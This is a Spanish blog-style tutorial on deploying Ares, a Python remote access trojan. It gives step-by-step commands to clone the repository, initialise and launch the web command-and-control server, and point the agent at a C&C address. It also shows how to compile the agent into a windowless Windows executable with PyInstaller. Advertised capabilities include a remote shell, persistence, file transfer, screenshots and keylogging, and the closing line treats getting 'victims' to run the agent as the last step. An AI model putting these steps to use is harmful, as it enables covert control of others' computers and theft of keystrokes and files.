Ares es un RAT (Remote Access Tool) escrito en Python. Se compone de dos programas principales:
- Un servidor de comando y control (C&C), que es una interfaz web para administrar los agentes
- Un programa de agente, que se ejecuta en el host comprometido, y garantiza la comunicación con el C&C
La interfaz web se puede ejecutar en cualquier servidor que ejecute Python, aunque previamente se necesita instalar el paquete cherrypy:
pip install cherrypy
El cliente es un programa Python destinado a ser compilado como un ejecutable win32 usando PyInstaller. Tiene como dependencias los módulos requests, pythoncom, pyhook y PIL (Python Imaging Library).
Actualmente soporta:
- shell cmd.exe remoto
- persistencia
- carga/descarga de archivos
- captura de pantalla
- keylogging
Instalación
Primero descargamos el repositorio:
git clone https://github.com/sweetsoftware/Ares.git
Luego creamos la base de datos sqlite:
python db_init.py
Y lanzamos el servidor:
python server.py
[09/Dec/2015:07:40:51] ENGINE Listening for SIGHUP.
[09/Dec/2015:07:40:51] ENGINE Listening for SIGTERM.
[09/Dec/2015:07:40:51] ENGINE Listening for SIGUSR1.
[09/Dec/2015:07:40:51] ENGINE Bus STARTING
[09/Dec/2015:07:40:51] ENGINE Started monitor thread 'Autoreloader'.
[09/Dec/2015:07:40:51] ENGINE Started monitor thread '_TimeoutMonitor'.
[09/Dec/2015:07:40:51] ENGINE Serving on http://127.0.0.1:8080
[09/Dec/2015:07:40:51] ENGINE Bus STARTED
Ahora configuramos el agente:
vi ./agent/settings.py
SERVER_URL = "http://192.168.11.128:8080"
BOT_ID = ""
DEBUG = True
IDLE_TIME = 60
REQUEST_INTERVAL = 2
Y con pyinstaller creamos el ejecutable:
D:\Python27>pip install pyinstaller
D:\Python27\agent>pyinstaller --onefile --noconsole agent.py
65 INFO: wrote D:\Python27\agent\agent.spec
342 INFO: Testing for ability to set icons, version resources...
822 INFO: ... resource update available
825 INFO: UPX is not available.
1083 INFO: Processing hook hook-os
1368 INFO: Processing hook hook-time
1447 INFO: Processing hook hook-cPickle
1675 INFO: Processing hook hook-_sre
2154 INFO: Processing hook hook-cStringIO
2606 INFO: Processing hook hook-encodings
2654 INFO: Processing hook hook-codecs
9250 INFO: Extending PYTHONPATH with D:\Python27\agent
9251 INFO: checking Analysis
9302 INFO: building because out00-Analysis.toc is bad
9302 INFO: running Analysis out00-Analysis.toc
9304 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
...
Por último, sólo nos falta conseguir que las víctimas ejecuten el agente...
En definitiva Ares tienen que mejorar bastante: el agente "pesa" demasiado y todavía hay que complementar y añadir nuevas características, pero sin duda se trata de una implementación de un RAT en Python interesante y bastante académica.
https://github.com/sweetsoftware/Ares